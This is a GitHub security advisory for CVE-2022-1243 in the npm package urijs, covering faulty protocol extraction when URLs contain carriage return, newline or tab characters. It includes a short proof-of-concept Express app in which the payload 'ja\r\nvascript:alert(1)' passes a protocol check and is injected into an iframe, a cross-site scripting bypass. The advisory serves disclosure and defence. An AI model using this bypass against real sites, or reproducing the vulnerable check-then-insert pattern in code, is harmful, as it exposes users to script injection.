GHSA-3VJF-82FF-P4R3

Vulnerability from github – Published: 2022-04-06 00:01 – Updated: 2022-04-14 20:13
VLAI?
Summary
Incorrect protocol extraction via \r, \n and \t characters
Details

\r, \n and \t characters in user-input URLs can potentially lead to incorrect protocol extraction when using npm package urijs prior to version 1.19.11.

This can lead to XSS when the module is used to prevent passing in malicious javascript: links into HTML or Javascript (see following example):

const parse = require('urijs')
const express = require('express')
const app = express()
const port = 3000

input = "ja\r\nvascript:alert(1)"
url = parse(input)

console.log(url)

app.get('/', (req, res) => {
 if (url.protocol !== "javascript:") {res.send("<iframe src=\'" + input + "\'>CLICK ME!</iframe>")}
})

app.listen(port, () => {
 console.log(`Example app listening on port ${port}`)
})
Severity ?
7.2 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "urijs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.19.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-1243"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-04-07T15:45:58Z",
    "nvd_published_at": "2022-04-05T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "\\r, \\n and \\t characters in user-input URLs can potentially lead to incorrect protocol extraction when using npm package urijs prior to version 1.19.11.\n\nThis can lead to XSS when the module is used to prevent passing in malicious javascript: links into HTML or Javascript (see following example):\n````\nconst parse = require(\u0027urijs\u0027)\nconst express = require(\u0027express\u0027)\nconst app = express()\nconst port = 3000\n\ninput = \"ja\\r\\nvascript:alert(1)\"\nurl = parse(input)\n\nconsole.log(url)\n\napp.get(\u0027/\u0027, (req, res) =\u003e {\n if (url.protocol !== \"javascript:\") {res.send(\"\u003ciframe src=\\\u0027\" + input + \"\\\u0027\u003eCLICK ME!\u003c/iframe\u003e\")}\n})\n\napp.listen(port, () =\u003e {\n console.log(`Example app listening on port ${port}`)\n})\n````",
  "id": "GHSA-3vjf-82ff-p4r3",
  "modified": "2022-04-14T20:13:56Z",
  "published": "2022-04-06T00:01:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1243"
    },
    {
      "type": "WEB",
      "url": "https://github.com/medialize/uri.js/commit/b0c9796aa1a95a85f40924fb18b1e5da3dc8ffae"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/medialize/uri.js"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/8c5afc47-1553-4eba-a98e-024e4cc3dfb7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Incorrect protocol extraction via \\r, \\n and \\t characters"
}


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Detection rules are retrieved from Rulezet.